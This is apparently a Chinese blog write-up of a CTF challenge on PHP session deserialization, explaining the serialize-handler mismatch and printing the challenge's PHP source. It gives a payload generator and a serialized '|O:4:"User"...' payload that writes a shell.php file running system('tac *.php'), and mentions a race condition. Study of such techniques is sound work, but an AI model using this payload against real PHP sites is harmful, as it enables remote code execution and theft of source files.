关于一道反序列化题的纠结

0x00前记

​ 拿到题目后,感觉是一个盲注,一顿骚操作无果,然后群主就说了考点是反序列化。感觉应该是有源码泄露,试了一下,存在www.zip可以获得一个压缩包,解压后是几个文件,有一个CTFSHOIW.php有1000多行代码,我像个傻孩子对着它分析了3个多小时,但是毫无进展,想要构建的POP链好像都没有引用到对应的函数。然后我就去想着试试能不能在网上找到源码,还真找到了CTFSHOIW页面的源码,进行文本对比后,发现了存在的多个不同,但是在我一一验证后发现,这些不同的地方并没有被引用到,只是存在了定义,那说明漏洞应该不存在这个页面了。去别的页面看看了。

​ 存在类的页面就剩inc.php了,其中定义了一个类,并且在它销毁时会调用file_put_contents()函数,存在写入的可能,并且应该是可以反序列化的,然后我就想着找unserialize()函数,然后啥也没得。既然没有快捷方式,那就继续代码审计了,对于类的页面肯定是最先开始的,找到了一个重要的考点

ini_set('session.serialize_handler', 'php');
//存在SESSION的反序列化内容

0x01SESSION反序列化

​ 前提条件:session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户的session会被存在在指定目录(默认为/tmp/sess_ssesionid)

​ 上述代码中有个session.serialize_handler的参数,它代表:session序列化和反序列化处理器,PHP内置了多种处理器用于存取$_SESSION数据时对数据进行序列化和反序列化,常用的处理器有三种,如下:

处理器 存储格式
php 键名+竖线+经过serialize()函数序列化处理的值
php_binary 键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php_serialize(php>=5.5.4) 经过serialize()函数序列化处理的数组

​ 知道了序列化的格式后,可以自身构造我们想要反序列化的Payload,从而获得我们执行我们想要的操作。

​ PHP session反序列化漏洞,是由于网站序列化并存储session和反序列化读取session的方式存在不同时可能就导致session反序列化漏洞产生。简单说:本身php处理器和php_serialize处理器对于生成序列化没有问题,但是如果两者混合使用就会出现问题。使用session.serialize_handler = php_serialize模式存储的字符可以引入“|” , 再用session.serialize_handler = php格式取出$_SESSION的值时, “|”因为不能被识别,会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。

0x02题目

inc.php
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW; 
require_once 'CTFSHOW.php';
//创建了一个CTFSHOW的对象,啥作用果然还是得去另外一个看看
$db = new CTFSHOW([
    'database_type' => 'mysql',
    'database_name' => 'web',
    'server' => 'localhost',
    'username' => 'root',
    'password' => 'root',
    'charset' => 'utf8',
    'port' => 3306,
    'prefix' => '',
    'option' => [
        PDO::ATTR_CASE => PDO::CASE_NATURAL
    ]
]);

// sql注入检查,过滤很多基本没啥可以利用的,这题的考点是反序列化,可能跟这个也没啥关系,继续看看
function checkForm($str){
    if(!isset($str)){
        return true;
    }else{
    return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
    }
}

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/
//最后是一个函数,不分析了暂时没想到他可以利用的地方

function  uuid()  
{  
    $chars = md5(uniqid(mt_rand(), true));  
    $uuid = substr ( $chars, 0, 8 ) . '-'
            . substr ( $chars, 8, 4 ) . '-' 
            . substr ( $chars, 12, 4 ) . '-'
            . substr ( $chars, 16, 4 ) . '-'
            . substr ( $chars, 20, 12 );  
    return $uuid ;  
}  

通过这一页的源代码可以构造我们所需要的Payload,在对象被销毁时触发魔术方法,然后写入文件

Payload.php
<?php
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new User('shell.php',"<?php system('tac *.php');?>");
echo serialize($a);

?>
//Payload:|O:4:"User":3:{s:8:"username";s:9:"shell.php";s:8:"password";s:28:"<?php system("tac *.php");?>";s:6:"status";N;}
//最后需要在Payload前面加上“|”在识别的时候分隔开
index.php
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 16:28:37
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-06 19:21:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
	error_reporting(0);
	session_start();
	//超过5次禁止登陆
	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}
	
?>

//上述可以看到,session被开启了,这里可以利用到它将我们的session传入
check.php
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 16:59:10
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-06 19:15:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);

if($GET){
	$data= $db->get('admin',
	[	'id',
		'UserName0'
	],[
		"AND"=>[
		"UserName0[=]"=>$GET['u'],
		"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
		]
	]);
	
	if($data['id']){
		//登陆成功取消次数累计
		$_SESSION['limit']= 0;
		echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
	}else{
		//登陆失败累计次数加1
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
		echo json_encode(array("error","msg"=>"登陆失败"));
	}
}

//这里主要是包含了inc.php文件,是我们要反序列化的地方

​ 最后,访问index.php,然后访问check.php,执行反序列化,最后去访问反序列化的创建的文件,查看源代码即可。由于请求后,session会立刻被清空覆盖,所以这里还有一个考点是条件竞争,可以通过脚本或者bp实现。后续具体的实现步骤就不说了。

0x03后记

​ 这个考点,其实Firebasky师傅早跟我说了好多次了,不过每次都没有认真学习,仅仅只是为了做题写过脚本。不过这次认真学了一下,以后遇到应该会记起来

0x04参考链接

https://mochazz.github.io/2019/01/29/PHP反序列化入门之session反序列化/#例题一

https://www.mi1k7ea.com/2019/04/21/PHP-session反序列化漏洞/

https://xz.aliyun.com/t/6640

上一篇:synchronized,volatile,serialize,static关键字


下一篇:修改Hosts访问被DNS污染的网站